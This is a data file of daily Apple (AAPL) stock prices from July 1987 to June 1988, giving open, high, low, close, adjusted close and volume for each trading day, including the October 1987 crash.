-1987-07-02,1.4285714626312256,1.4642857313156128,1.4196428060531616,1.4508928060531616,1.1540788412094116,20389600.0,AAPL -1987-07-06,1.4553571939468384,1.4910714626312256,1.4464285373687744,1.4553571939468384,1.1576300859451294,21372400.0,AAPL -1987-07-07,1.4464285373687744,1.4642857313156128,1.3839285373687744,1.4017857313156128,1.1150180101394653,50960000.0,AAPL -1987-07-08,1.4017857313156128,1.4017857313156128,1.3035714626312256,1.3303571939468384,1.0582019090652466,85400000.0,AAPL -1987-07-09,1.3303571939468384,1.3839285373687744,1.3303571939468384,1.3482142686843872,1.0724049806594849,59920000.0,AAPL -1987-07-10,1.3571428060531616,1.4017857313156128,1.3482142686843872,1.3571428060531616,1.0795074701309204,39200000.0,AAPL -1987-07-13,1.3928571939468384,1.4553571939468384,1.3839285373687744,1.4464285373687744,1.1505284309387207,63840000.0,AAPL -1987-07-14,1.4642857313156128,1.5357142686843872,1.4642857313156128,1.5357142686843872,1.221548318862915,64400000.0,AAPL -1987-07-15,1.5357142686843872,1.5982142686843872,1.5089285373687744,1.5714285373687744,1.2499566078186035,67760000.0,AAPL -1987-07-16,1.5714285373687744,1.5714285373687744,1.5446428060531616,1.5714285373687744,1.2499566078186035,23646000.0,AAPL -1987-07-17,1.5803571939468384,1.5982142686843872,1.5267857313156128,1.5446428060531616,1.2286502122879028,23049600.0,AAPL -1987-07-20,1.5357142686843872,1.5446428060531616,1.4821428060531616,1.4910714626312256,1.1860381364822388,31080000.0,AAPL -1987-07-21,1.5,1.5178571939468384,1.4732142686843872,1.4776785373687744,1.1753852367401123,27748000.0,AAPL -1987-07-22,1.4821428060531616,1.5267857313156128,1.4732142686843872,1.5178571939468384,1.20734441280365,15232000.0,AAPL -1987-07-23,1.5357142686843872,1.5535714626312256,1.4464285373687744,1.4910714626312256,1.1860381364822388,18684400.0,AAPL -1987-07-24,1.4821428060531616,1.5267857313156128,1.4821428060531616,1.5178571939468384,1.20734441280365,29400000.0,AAPL -1987-07-27,1.5178571939468384,1.5357142686843872,1.5,1.5089285373687744,1.200242280960083,14159600.0,AAPL -1987-07-28,1.5178571939468384,1.5267857313156128,1.4910714626312256,1.4955357313156128,1.1895886659622192,18572400.0,AAPL -1987-07-29,1.5,1.5,1.4464285373687744,1.4642857313156128,1.1647323369979858,24707200.0,AAPL -1987-07-30,1.4642857313156128,1.4821428060531616,1.4553571939468384,1.4821428060531616,1.1789361238479614,26073600.0,AAPL -1987-07-31,1.4732142686843872,1.5,1.4732142686843872,1.4732142686843872,1.1718337535858154,18261600.0,AAPL -1987-08-03,1.4642857313156128,1.4821428060531616,1.4375,1.4375,1.1434258222579956,15839600.0,AAPL -1987-08-04,1.4464285373687744,1.5089285373687744,1.4285714626312256,1.5089285373687744,1.200242280960083,30240000.0,AAPL -1987-08-05,1.5089285373687744,1.5535714626312256,1.5,1.5446428060531616,1.2286502122879028,32480000.0,AAPL -1987-08-06,1.5446428060531616,1.6696428060531616,1.5267857313156128,1.6517857313156128,1.3138744831085205,63000000.0,AAPL -1987-08-07,1.6517857313156128,1.6875,1.6428571939468384,1.6607142686843872,1.3209766149520874,38080000.0,AAPL -1987-08-10,1.7232142686843872,1.7232142686843872,1.6339285373687744,1.7232142686843872,1.3724592924118042,19499200.0,AAPL -1987-08-11,1.7678571939468384,1.7946428060531616,1.7410714626312256,1.7678571939468384,1.408015251159668,67760000.0,AAPL -1987-08-12,1.7678571939468384,1.7767857313156128,1.7232142686843872,1.7410714626312256,1.3866820335388184,40320000.0,AAPL -1987-08-13,1.7410714626312256,1.7946428060531616,1.7321428060531616,1.75,1.3937928676605225,49000000.0,AAPL -1987-08-14,1.7321428060531616,1.7857142686843872,1.7142857313156128,1.75,1.3937928676605225,26213600.0,AAPL -1987-08-17,1.7678571939468384,1.7857142686843872,1.7410714626312256,1.7678571939468384,1.408015251159668,36400000.0,AAPL -1987-08-18,1.7589285373687744,1.7678571939468384,1.7232142686843872,1.7410714626312256,1.3866820335388184,59360000.0,AAPL -1987-08-19,1.7678571939468384,1.7857142686843872,1.75,1.7857142686843872,1.4222373962402344,16718800.0,AAPL -1987-08-20,1.7946428060531616,1.875,1.7767857313156128,1.8482142686843872,1.4720155000686646,43960000.0,AAPL -1987-08-21,1.8482142686843872,1.9196428060531616,1.8392857313156128,1.8928571939468384,1.5075719356536865,35000000.0,AAPL -1987-08-24,1.8928571939468384,1.9107142686843872,1.8660714626312256,1.8660714626312256,1.486238718032837,30240000.0,AAPL -1987-08-25,1.8839285373687744,1.9017857313156128,1.8571428060531616,1.8571428060531616,1.479127287864685,34160000.0,AAPL -1987-08-26,1.8928571939468384,1.9107142686843872,1.8571428060531616,1.8571428060531616,1.479127287864685,49000000.0,AAPL -1987-08-27,1.8660714626312256,1.8839285373687744,1.8392857313156128,1.8571428060531616,1.479127287864685,31080000.0,AAPL -1987-08-28,1.8571428060531616,1.875,1.8392857313156128,1.8571428060531616,1.479127287864685,23954000.0,AAPL -1987-08-31,1.8660714626312256,1.9375,1.8482142686843872,1.9285714626312256,1.536016821861267,37520000.0,AAPL -1987-09-01,1.9553571939468384,1.9732142686843872,1.875,1.875,1.493349552154541,34720000.0,AAPL -1987-09-02,1.8571428060531616,1.9017857313156128,1.8125,1.8571428060531616,1.479127287864685,57400000.0,AAPL -1987-09-03,1.875,1.8839285373687744,1.7946428060531616,1.8303571939468384,1.457793116569519,46200000.0,AAPL -1987-09-04,1.8303571939468384,1.8482142686843872,1.7857142686843872,1.8035714626312256,1.4364597797393799,27109600.0,AAPL -1987-09-08,1.7946428060531616,1.8035714626312256,1.7321428060531616,1.78125,1.4186819791793823,43960000.0,AAPL -1987-09-09,1.7946428060531616,1.8928571939468384,1.7678571939468384,1.8839285373687744,1.5004606246948242,39480000.0,AAPL -1987-09-10,1.9017857313156128,1.9464285373687744,1.8973214626312256,1.9196428060531616,1.5289055109024048,35000000.0,AAPL -1987-09-11,1.9285714626312256,1.9821428060531616,1.8839285373687744,1.9464285373687744,1.550239086151123,31080000.0,AAPL -1987-09-14,1.9553571939468384,1.9732142686843872,1.8839285373687744,1.8928571939468384,1.5075719356536865,20476400.0,AAPL -1987-09-15,1.8928571939468384,1.8928571939468384,1.8392857313156128,1.8482142686843872,1.4720155000686646,26152000.0,AAPL -1987-09-16,1.8482142686843872,1.8794642686843872,1.8303571939468384,1.8482142686843872,1.4720155000686646,42000000.0,AAPL -1987-09-17,1.8571428060531616,1.8660714626312256,1.8214285373687744,1.8571428060531616,1.479127287864685,16699200.0,AAPL -1987-09-18,1.8571428060531616,1.8660714626312256,1.8348214626312256,1.8482142686843872,1.4720155000686646,17799600.0,AAPL -1987-09-21,1.8482142686843872,1.8839285373687744,1.7946428060531616,1.7946428060531616,1.4293493032455444,32200000.0,AAPL -1987-09-22,1.8035714626312256,1.9375,1.7946428060531616,1.9330357313156128,1.5395725965499878,38360000.0,AAPL -1987-09-23,1.9330357313156128,2.0,1.9196428060531616,1.9732142686843872,1.5715725421905518,63644000.0,AAPL -1987-09-24,1.9732142686843872,2.0669643878936768,1.9732142686843872,2.017857074737549,1.607128620147705,45640000.0,AAPL -1987-09-25,2.0267856121063232,2.0714285373687744,2.017857074737549,2.0535714626312256,1.635573387145996,26630800.0,AAPL -1987-09-28,2.0535714626312256,2.0982143878936768,1.9821428060531616,1.9910714626312256,1.5857946872711182,50960000.0,AAPL -1987-09-29,2.0,2.0,1.9375,1.9464285373687744,1.550239086151123,42840000.0,AAPL -1987-09-30,1.9375,2.0357143878936768,1.9375,2.017857074737549,1.607128620147705,30520000.0,AAPL -1987-10-01,2.0267856121063232,2.0982143878936768,2.017857074737549,2.080357074737549,1.6569069623947144,29120000.0,AAPL -1987-10-02,2.080357074737549,2.0982143878936768,2.0535714626312256,2.0892856121063232,1.6640180349349976,24124800.0,AAPL -1987-10-05,2.0892856121063232,2.1339285373687744,2.0625,2.1160714626312256,1.685351848602295,33600000.0,AAPL -1987-10-06,2.125,2.125,1.9821428060531616,1.9910714626312256,1.5857946872711182,50400000.0,AAPL -1987-10-07,1.9821428060531616,1.9910714626312256,1.9375,1.9821428060531616,1.5786833763122559,56000000.0,AAPL -1987-10-08,1.9821428060531616,2.0,1.9017857313156128,1.9375,1.543127417564392,41160000.0,AAPL -1987-10-09,1.9375,1.9821428060531616,1.9285714626312256,1.9330357313156128,1.5395725965499878,36400000.0,AAPL -1987-10-12,1.9375,1.9419642686843872,1.8482142686843872,1.9017857313156128,1.5146832466125488,49840000.0,AAPL -1987-10-13,1.9464285373687744,1.9553571939468384,1.9017857313156128,1.9464285373687744,1.550239086151123,40600000.0,AAPL -1987-10-14,1.9196428060531616,1.9285714626312256,1.8571428060531616,1.9017857313156128,1.5146832466125488,64680000.0,AAPL -1987-10-15,1.9017857313156128,1.9464285373687744,1.8482142686843872,1.8571428060531616,1.479127287864685,87080000.0,AAPL -1987-10-16,1.8660714626312256,1.8928571939468384,1.6964285373687744,1.7232142686843872,1.3724592924118042,105000000.0,AAPL -1987-10-19,1.7232142686843872,1.7232142686843872,1.2678571939468384,1.3035714626312256,1.038233757019043,119000000.0,AAPL -1987-10-20,1.375,1.5,1.1651785373687744,1.2321428060531616,0.9813438653945923,142240000.0,AAPL -1987-10-21,1.375,1.5,1.3571428060531616,1.4464285373687744,1.1520130634307861,133560000.0,AAPL -1987-10-22,1.4017857313156128,1.4464285373687744,1.2857142686843872,1.3125,1.0453450679779053,96320000.0,AAPL -1987-10-23,1.2767857313156128,1.3035714626312256,1.2232142686843872,1.2678571939468384,1.0097887516021729,49560000.0,AAPL -1987-10-26,1.2321428060531616,1.25,0.9866071343421936,1.0,0.796453058719635,78400000.0,AAPL -1987-10-27,1.0535714626312256,1.1517857313156128,1.0357142686843872,1.0803571939468384,0.8604536652565002,113960000.0,AAPL -1987-10-28,1.0982142686843872,1.2053571939468384,1.0446428060531616,1.1964285373687744,0.9528989791870117,104720000.0,AAPL -1987-10-29,1.2232142686843872,1.4285714626312256,1.1517857313156128,1.4107142686843872,1.1235675811767578,82880000.0,AAPL -1987-10-30,1.4285714626312256,1.5357142686843872,1.375,1.3794642686843872,1.0986785888671875,105280000.0,AAPL -1987-11-02,1.3839285373687744,1.4107142686843872,1.3392857313156128,1.3839285373687744,1.102234125137329,47040000.0,AAPL -1987-11-03,1.3571428060531616,1.375,1.2232142686843872,1.2946428060531616,1.031122088432312,78400000.0,AAPL -1987-11-04,1.2678571939468384,1.3303571939468384,1.2410714626312256,1.2857142686843872,1.0240110158920288,58520000.0,AAPL -1987-11-05,1.2946428060531616,1.3839285373687744,1.2946428060531616,1.3571428060531616,1.08090078830719,63840000.0,AAPL -1987-11-06,1.3660714626312256,1.4107142686843872,1.3214285373687744,1.3482142686843872,1.0737888813018799,46760000.0,AAPL -1987-11-09,1.3214285373687744,1.3392857313156128,1.2946428060531616,1.3303571939468384,1.0595674514770508,52640000.0,AAPL -1987-11-10,1.3035714626312256,1.3392857313156128,1.2857142686843872,1.2946428060531616,1.031122088432312,57960000.0,AAPL -1987-11-11,1.3303571939468384,1.3660714626312256,1.3125,1.3303571939468384,1.0595674514770508,46480000.0,AAPL -1987-11-12,1.375,1.4285714626312256,1.3705357313156128,1.3839285373687744,1.102234125137329,61600000.0,AAPL -1987-11-13,1.4017857313156128,1.4107142686843872,1.3214285373687744,1.3303571939468384,1.0595674514770508,38640000.0,AAPL -1987-11-16,1.3482142686843872,1.375,1.3035714626312256,1.3125,1.0453450679779053,46200000.0,AAPL -1987-11-17,1.3125,1.3214285373687744,1.25,1.25,0.9977405071258545,67200000.0,AAPL -1987-11-18,1.2767857313156128,1.3035714626312256,1.2321428060531616,1.2946428060531616,1.0333741903305054,66360000.0,AAPL -1987-11-19,1.3035714626312256,1.3035714626312256,1.2142857313156128,1.2321428060531616,0.9834870100021362,45640000.0,AAPL -1987-11-20,1.2142857313156128,1.2857142686843872,1.1875,1.2678571939468384,1.0119942426681519,62720000.0,AAPL -1987-11-23,1.2678571939468384,1.2946428060531616,1.2410714626312256,1.2946428060531616,1.0333741903305054,24348800.0,AAPL -1987-11-24,1.3125,1.3482142686843872,1.2901785373687744,1.3214285373687744,1.0547542572021484,49280000.0,AAPL -1987-11-25,1.3214285373687744,1.3214285373687744,1.2857142686843872,1.3035714626312256,1.0405007600784302,23100000.0,AAPL -1987-11-27,1.2946428060531616,1.3035714626312256,1.2410714626312256,1.25,0.9977405071258545,17670800.0,AAPL -1987-11-30,1.2053571939468384,1.2321428060531616,1.0892857313156128,1.1785714626312256,0.9407270550727844,104160000.0,AAPL -1987-12-01,1.1964285373687744,1.2142857313156128,1.1696428060531616,1.1875,0.9478532075881958,45360000.0,AAPL -1987-12-02,1.1875,1.1964285373687744,1.1607142686843872,1.1607142686843872,0.9264732599258423,35560000.0,AAPL -1987-12-03,1.1785714626312256,1.1919642686843872,1.0625,1.0892857313156128,0.8694595694541931,79800000.0,AAPL -1987-12-04,1.0803571939468384,1.1160714626312256,1.0625,1.0982142686843872,0.8765860795974731,61040000.0,AAPL -1987-12-07,1.1071428060531616,1.1875,1.1071428060531616,1.1785714626312256,0.9407270550727844,50960000.0,AAPL -1987-12-08,1.1964285373687744,1.2455357313156128,1.1875,1.2321428060531616,0.9834870100021362,63560000.0,AAPL -1987-12-09,1.2321428060531616,1.2946428060531616,1.2098214626312256,1.25,0.9977405071258545,44800000.0,AAPL -1987-12-10,1.2053571939468384,1.2857142686843872,1.1875,1.2410714626312256,0.990613579750061,69160000.0,AAPL -1987-12-11,1.2410714626312256,1.2410714626312256,1.1964285373687744,1.2142857313156128,0.9692338109016418,30520000.0,AAPL -1987-12-14,1.2321428060531616,1.3392857313156128,1.2232142686843872,1.3303571939468384,1.0618809461593628,85400000.0,AAPL -1987-12-15,1.3482142686843872,1.3660714626312256,1.3214285373687744,1.3392857313156128,1.0690075159072876,74760000.0,AAPL -1987-12-16,1.3482142686843872,1.4196428060531616,1.3303571939468384,1.4017857313156128,1.118894338607788,82600000.0,AAPL -1987-12-17,1.4464285373687744,1.4553571939468384,1.4017857313156128,1.4017857313156128,1.118894338607788,81480000.0,AAPL -1987-12-18,1.4107142686843872,1.4732142686843872,1.4017857313156128,1.4464285373687744,1.1545283794403076,75600000.0,AAPL -1987-12-21,1.4464285373687744,1.4910714626312256,1.4375,1.4910714626312256,1.190162181854248,47040000.0,AAPL -1987-12-22,1.4910714626312256,1.4910714626312256,1.4464285373687744,1.4821428060531616,1.183035135269165,32200000.0,AAPL -1987-12-23,1.4910714626312256,1.5267857313156128,1.4732142686843872,1.5089285373687744,1.2044150829315186,42840000.0,AAPL -1987-12-24,1.5,1.5357142686843872,1.4910714626312256,1.5223214626312256,1.2151055335998535,17486000.0,AAPL -1987-12-28,1.5089285373687744,1.5178571939468384,1.4107142686843872,1.4375,1.147401213645935,57400000.0,AAPL -1987-12-29,1.4464285373687744,1.5089285373687744,1.4375,1.5044642686843872,1.2008517980575562,29680000.0,AAPL -1987-12-30,1.5178571939468384,1.5625,1.5178571939468384,1.5491071939468384,1.2364856004714966,38920000.0,AAPL -1987-12-31,1.5178571939468384,1.5357142686843872,1.4955357313156128,1.5,1.1972886323928833,29400000.0,AAPL -1988-01-04,1.5267857313156128,1.5982142686843872,1.5089285373687744,1.5982142686843872,1.275681972503662,82600000.0,AAPL -1988-01-05,1.6428571939468384,1.6517857313156128,1.5803571939468384,1.59375,1.2721192836761475,77280000.0,AAPL -1988-01-06,1.6071428060531616,1.6071428060531616,1.5625,1.5625,1.247175693511963,67200000.0,AAPL -1988-01-07,1.5535714626312256,1.5982142686843872,1.5178571939468384,1.5892857313156128,1.2685561180114746,53200000.0,AAPL -1988-01-08,1.5892857313156128,1.6160714626312256,1.4107142686843872,1.4285714626312256,1.1402748823165894,121520000.0,AAPL -1988-01-11,1.4285714626312256,1.5267857313156128,1.4196428060531616,1.5178571939468384,1.211542010307312,101080000.0,AAPL -1988-01-12,1.5357142686843872,1.5535714626312256,1.4196428060531616,1.5,1.1972886323928833,100240000.0,AAPL -1988-01-13,1.5,1.5446428060531616,1.46875,1.5089285373687744,1.2044150829315186,52920000.0,AAPL -1988-01-14,1.5267857313156128,1.53125,1.5,1.5089285373687744,1.2044150829315186,33040000.0,AAPL -1988-01-15,1.5535714626312256,1.6071428060531616,1.5178571939468384,1.53125,1.2222325801849365,85960000.0,AAPL -1988-01-18,1.5357142686843872,1.5357142686843872,1.5,1.5267857313156128,1.2186686992645264,31360000.0,AAPL -1988-01-19,1.5089285373687744,1.5446428060531616,1.4776785373687744,1.5267857313156128,1.2186686992645264,68600000.0,AAPL -1988-01-20,1.5357142686843872,1.5357142686843872,1.3660714626312256,1.4196428060531616,1.133147954940796,170240000.0,AAPL -1988-01-21,1.4464285373687744,1.4553571939468384,1.40625,1.4330357313156128,1.1438380479812622,123480000.0,AAPL -1988-01-22,1.4464285373687744,1.4553571939468384,1.3660714626312256,1.4017857313156128,1.118894338607788,111440000.0,AAPL -1988-01-25,1.4107142686843872,1.4821428060531616,1.4107142686843872,1.4598214626312256,1.1652183532714844,50120000.0,AAPL -1988-01-26,1.4553571939468384,1.4642857313156128,1.4017857313156128,1.4196428060531616,1.133147954940796,35840000.0,AAPL -1988-01-27,1.4375,1.4464285373687744,1.3839285373687744,1.4196428060531616,1.133147954940796,64680000.0,AAPL -1988-01-28,1.4285714626312256,1.4821428060531616,1.4196428060531616,1.4732142686843872,1.1759082078933716,58240000.0,AAPL -1988-01-29,1.4821428060531616,1.4910714626312256,1.4375,1.4821428060531616,1.183035135269165,66360000.0,AAPL -1988-02-01,1.4910714626312256,1.5178571939468384,1.4776785373687744,1.4910714626312256,1.190162181854248,49840000.0,AAPL -1988-02-02,1.4821428060531616,1.4955357313156128,1.4464285373687744,1.4732142686843872,1.1759082078933716,47880000.0,AAPL -1988-02-03,1.4642857313156128,1.4732142686843872,1.4017857313156128,1.4107142686843872,1.1260212659835815,56560000.0,AAPL -1988-02-04,1.4107142686843872,1.4330357313156128,1.3928571939468384,1.4196428060531616,1.133147954940796,49840000.0,AAPL -1988-02-05,1.4285714626312256,1.4419642686843872,1.375,1.3794642686843872,1.1010783910751343,33040000.0,AAPL -1988-02-08,1.375,1.4017857313156128,1.3482142686843872,1.3839285373687744,1.1046414375305176,50960000.0,AAPL -1988-02-09,1.3928571939468384,1.4241071939468384,1.3839285373687744,1.4196428060531616,1.133147954940796,29120000.0,AAPL -1988-02-10,1.4196428060531616,1.4821428060531616,1.4196428060531616,1.4642857313156128,1.1687819957733154,57120000.0,AAPL -1988-02-11,1.4642857313156128,1.4732142686843872,1.4375,1.4508928060531616,1.1580915451049805,36960000.0,AAPL -1988-02-12,1.4508928060531616,1.4821428060531616,1.4464285373687744,1.4642857313156128,1.1710901260375977,34440000.0,AAPL -1988-02-16,1.4642857313156128,1.4732142686843872,1.4285714626312256,1.4732142686843872,1.178230881690979,38640000.0,AAPL -1988-02-17,1.4732142686843872,1.5178571939468384,1.4732142686843872,1.4955357313156128,1.1960827112197876,64120000.0,AAPL -1988-02-18,1.4866071939468384,1.5267857313156128,1.4821428060531616,1.4910714626312256,1.1925123929977417,35840000.0,AAPL -1988-02-19,1.4910714626312256,1.5,1.4821428060531616,1.4910714626312256,1.1925123929977417,22691200.0,AAPL -1988-02-22,1.4821428060531616,1.5580357313156128,1.4821428060531616,1.5446428060531616,1.2353572845458984,50120000.0,AAPL -1988-02-23,1.5446428060531616,1.5625,1.5089285373687744,1.5267857313156128,1.2210755348205566,55160000.0,AAPL -1988-02-24,1.5267857313156128,1.5357142686843872,1.5,1.5089285373687744,1.2067939043045044,36400000.0,AAPL -1988-02-25,1.5,1.5357142686843872,1.4910714626312256,1.4910714626312256,1.1925123929977417,44800000.0,AAPL -1988-02-26,1.5,1.5089285373687744,1.4732142686843872,1.4910714626312256,1.1925123929977417,20585600.0,AAPL -1988-02-29,1.4910714626312256,1.5446428060531616,1.4821428060531616,1.5357142686843872,1.2282160520553589,28000000.0,AAPL -1988-03-01,1.5446428060531616,1.5535714626312256,1.5178571939468384,1.5446428060531616,1.2353572845458984,42840000.0,AAPL -1988-03-02,1.5625,1.6071428060531616,1.5535714626312256,1.5982142686843872,1.278201699256897,73080000.0,AAPL -1988-03-03,1.5892857313156128,1.6785714626312256,1.5892857313156128,1.6607142686843872,1.3281872272491455,118440000.0,AAPL -1988-03-04,1.6428571939468384,1.6785714626312256,1.625,1.6741071939468384,1.338898777961731,52360000.0,AAPL -1988-03-07,1.6696428060531616,1.7053571939468384,1.6607142686843872,1.6741071939468384,1.338898777961731,51800000.0,AAPL -1988-03-08,1.6696428060531616,1.6785714626312256,1.6428571939468384,1.6517857313156128,1.3210467100143433,36120000.0,AAPL -1988-03-09,1.6517857313156128,1.6875,1.6517857313156128,1.6696428060531616,1.3353278636932373,33600000.0,AAPL -1988-03-10,1.6785714626312256,1.6875,1.6160714626312256,1.6160714626312256,1.2924836874008179,44240000.0,AAPL -1988-03-11,1.625,1.6339285373687744,1.5892857313156128,1.6339285373687744,1.3067649602890015,39480000.0,AAPL -1988-03-14,1.6339285373687744,1.6607142686843872,1.625,1.6517857313156128,1.3210467100143433,24530800.0,AAPL -1988-03-15,1.6428571939468384,1.6517857313156128,1.5982142686843872,1.6071428060531616,1.2853426933288574,45360000.0,AAPL -1988-03-16,1.6026785373687744,1.65625,1.5892857313156128,1.6473214626312256,1.3174761533737183,29680000.0,AAPL -1988-03-17,1.6517857313156128,1.6607142686843872,1.5982142686843872,1.6071428060531616,1.2853426933288574,65240000.0,AAPL -1988-03-18,1.6071428060531616,1.625,1.5803571939468384,1.5982142686843872,1.278201699256897,68040000.0,AAPL -1988-03-21,1.5848214626312256,1.59375,1.5357142686843872,1.5669642686843872,1.2532093524932861,56840000.0,AAPL -1988-03-22,1.5714285373687744,1.5892857313156128,1.5446428060531616,1.5714285373687744,1.2567795515060425,29794800.0,AAPL -1988-03-23,1.5714285373687744,1.5714285373687744,1.4955357313156128,1.5178571939468384,1.2139347791671753,52360000.0,AAPL -1988-03-24,1.4910714626312256,1.5178571939468384,1.4285714626312256,1.4598214626312256,1.1675196886062622,80080000.0,AAPL -1988-03-25,1.4553571939468384,1.4732142686843872,1.4285714626312256,1.4330357313156128,1.1460973024368286,32760000.0,AAPL -1988-03-28,1.4285714626312256,1.4910714626312256,1.4107142686843872,1.4821428060531616,1.1853710412979126,43120000.0,AAPL -1988-03-29,1.4821428060531616,1.5,1.4508928060531616,1.4642857313156128,1.1710901260375977,53480000.0,AAPL -1988-03-30,1.4553571939468384,1.4732142686843872,1.3839285373687744,1.4107142686843872,1.1282451152801514,92960000.0,AAPL -1988-03-31,1.4196428060531616,1.4464285373687744,1.4017857313156128,1.4285714626312256,1.1425271034240723,54320000.0,AAPL -1988-04-04,1.4196428060531616,1.4464285373687744,1.375,1.3839285373687744,1.1068230867385864,45360000.0,AAPL -1988-04-05,1.4017857313156128,1.4107142686843872,1.375,1.4017857313156128,1.121104121208191,36960000.0,AAPL -1988-04-06,1.4107142686843872,1.4910714626312256,1.3928571939468384,1.4910714626312256,1.1925123929977417,47600000.0,AAPL -1988-04-07,1.4910714626312256,1.5133928060531616,1.4553571939468384,1.4553571939468384,1.1639491319656372,40880000.0,AAPL -1988-04-08,1.4553571939468384,1.4910714626312256,1.4196428060531616,1.4642857313156128,1.1710901260375977,50680000.0,AAPL -1988-04-11,1.4910714626312256,1.5,1.4642857313156128,1.4821428060531616,1.1853710412979126,37240000.0,AAPL -1988-04-12,1.4910714626312256,1.5089285373687744,1.4732142686843872,1.4910714626312256,1.1925123929977417,43400000.0,AAPL -1988-04-13,1.4910714626312256,1.5,1.4642857313156128,1.4732142686843872,1.178230881690979,35840000.0,AAPL -1988-04-14,1.4464285373687744,1.4821428060531616,1.3928571939468384,1.4107142686843872,1.1282451152801514,47040000.0,AAPL -1988-04-15,1.4196428060531616,1.4285714626312256,1.375,1.4107142686843872,1.1282451152801514,58240000.0,AAPL -1988-04-18,1.4196428060531616,1.4553571939468384,1.4017857313156128,1.4285714626312256,1.1425271034240723,42560000.0,AAPL -1988-04-19,1.4330357313156128,1.4821428060531616,1.4330357313156128,1.4375,1.1496670246124268,53082400.0,AAPL -1988-04-20,1.4375,1.4464285373687744,1.4017857313156128,1.4196428060531616,1.1353856325149536,53760000.0,AAPL -1988-04-21,1.4419642686843872,1.4464285373687744,1.3928571939468384,1.4107142686843872,1.1282451152801514,44520000.0,AAPL -1988-04-22,1.4196428060531616,1.4375,1.4107142686843872,1.4330357313156128,1.1460973024368286,26910800.0,AAPL -1988-04-25,1.4375,1.4642857313156128,1.4285714626312256,1.4598214626312256,1.1675196886062622,37520000.0,AAPL -1988-04-26,1.4642857313156128,1.4910714626312256,1.4553571939468384,1.4821428060531616,1.1853710412979126,43960000.0,AAPL -1988-04-27,1.4910714626312256,1.5,1.4821428060531616,1.4910714626312256,1.1925123929977417,31640000.0,AAPL -1988-04-28,1.4910714626312256,1.5,1.4732142686843872,1.4776785373687744,1.1818009614944458,24791200.0,AAPL -1988-04-29,1.4732142686843872,1.4821428060531616,1.4464285373687744,1.4642857313156128,1.1710901260375977,22498000.0,AAPL -1988-05-02,1.4553571939468384,1.4732142686843872,1.4464285373687744,1.4642857313156128,1.1710901260375977,20549200.0,AAPL -1988-05-03,1.4642857313156128,1.5089285373687744,1.4553571939468384,1.4910714626312256,1.1925123929977417,31080000.0,AAPL -1988-05-04,1.4955357313156128,1.5401785373687744,1.4910714626312256,1.5,1.1996532678604126,56000000.0,AAPL -1988-05-05,1.5,1.5089285373687744,1.4821428060531616,1.4910714626312256,1.1925123929977417,17614800.0,AAPL -1988-05-06,1.4866071939468384,1.4910714626312256,1.4732142686843872,1.4732142686843872,1.178230881690979,26759600.0,AAPL -1988-05-09,1.4732142686843872,1.4732142686843872,1.4464285373687744,1.4553571939468384,1.1639491319656372,19093200.0,AAPL -1988-05-10,1.4464285373687744,1.4642857313156128,1.4375,1.4598214626312256,1.1675196886062622,23976400.0,AAPL -1988-05-11,1.4375,1.4553571939468384,1.4107142686843872,1.4107142686843872,1.1282451152801514,43680000.0,AAPL -1988-05-12,1.4107142686843872,1.4375,1.4107142686843872,1.4196428060531616,1.1353856325149536,20745200.0,AAPL -1988-05-13,1.4375,1.4464285373687744,1.4285714626312256,1.4464285373687744,1.1568083763122559,17850000.0,AAPL -1988-05-16,1.4464285373687744,1.4776785373687744,1.4285714626312256,1.4732142686843872,1.1805649995803833,18690000.0,AAPL -1988-05-17,1.4821428060531616,1.5,1.4375,1.4464285373687744,1.1591004133224487,48440000.0,AAPL -1988-05-18,1.4464285373687744,1.4553571939468384,1.4107142686843872,1.4196428060531616,1.137635350227356,43680000.0,AAPL -1988-05-19,1.4107142686843872,1.4196428060531616,1.375,1.3928571939468384,1.1161705255508423,62440000.0,AAPL -1988-05-20,1.4017857313156128,1.4107142686843872,1.3839285373687744,1.3839285373687744,1.109015703201294,20434400.0,AAPL -1988-05-23,1.375,1.3883928060531616,1.3348214626312256,1.3571428060531616,1.0875507593154907,45920000.0,AAPL -1988-05-24,1.3571428060531616,1.3928571939468384,1.3482142686843872,1.3883928060531616,1.112593412399292,35560000.0,AAPL -1988-05-25,1.3928571939468384,1.4196428060531616,1.375,1.375,1.1018608808517456,33880000.0,AAPL -1988-05-26,1.375,1.4107142686843872,1.375,1.40625,1.1269023418426514,21445200.0,AAPL -1988-05-27,1.4017857313156128,1.4285714626312256,1.3928571939468384,1.4196428060531616,1.137635350227356,20988800.0,AAPL -1988-05-31,1.4285714626312256,1.4821428060531616,1.4196428060531616,1.4821428060531616,1.1877202987670898,30800000.0,AAPL -1988-06-01,1.4821428060531616,1.5178571939468384,1.4732142686843872,1.5178571939468384,1.2163397073745728,57400000.0,AAPL -1988-06-02,1.5,1.5178571939468384,1.4821428060531616,1.4910714626312256,1.194874882698059,33320000.0,AAPL -1988-06-03,1.4910714626312256,1.5446428060531616,1.4910714626312256,1.5357142686843872,1.230649709701538,43960000.0,AAPL -1988-06-06,1.5267857313156128,1.5714285373687744,1.5267857313156128,1.5714285373687744,1.2592699527740479,41160000.0,AAPL -1988-06-07,1.5625,1.6160714626312256,1.5535714626312256,1.5714285373687744,1.2592699527740479,77840000.0,AAPL -1988-06-08,1.5803571939468384,1.625,1.5714285373687744,1.6071428060531616,1.287889003753662,64680000.0,AAPL -1988-06-09,1.6071428060531616,1.6160714626312256,1.5446428060531616,1.5535714626312256,1.2449593544006348,67480000.0,AAPL -1988-06-10,1.5535714626312256,1.5982142686843872,1.5357142686843872,1.5892857313156128,1.273579478263855,44240000.0,AAPL -1988-06-13,1.6071428060531616,1.6160714626312256,1.5803571939468384,1.6071428060531616,1.287889003753662,37240000.0,AAPL -1988-06-14,1.6160714626312256,1.6428571939468384,1.6071428060531616,1.6160714626312256,1.295044183731079,73105200.0,AAPL -1988-06-15,1.6160714626312256,1.6339285373687744,1.6071428060531616,1.6339285373687744,1.309354305267334,30520000.0,AAPL -1988-06-16,1.6071428060531616,1.6160714626312256,1.5803571939468384,1.5892857313156128,1.273579478263855,26843600.0,AAPL -1988-06-17,1.5982142686843872,1.5982142686843872,1.5803571939468384,1.5982142686843872,1.2807339429855347,23847600.0,AAPL -1988-06-20,1.5848214626312256,1.5982142686843872,1.5714285373687744,1.5758928060531616,1.2628470659255981,19650400.0,AAPL -1988-06-21,1.5714285373687744,1.6071428060531616,1.5669642686843872,1.6026785373687744,1.2843114137649536,30898000.0,AAPL -1988-06-22,1.625,1.6383928060531616,1.6071428060531616,1.6294642686843872,1.3057764768600464,48890800.0,AAPL -1988-06-23,1.6339285373687744,1.6339285373687744,1.6071428060531616,1.6071428060531616,1.287889003753662,17847200.0,AAPL 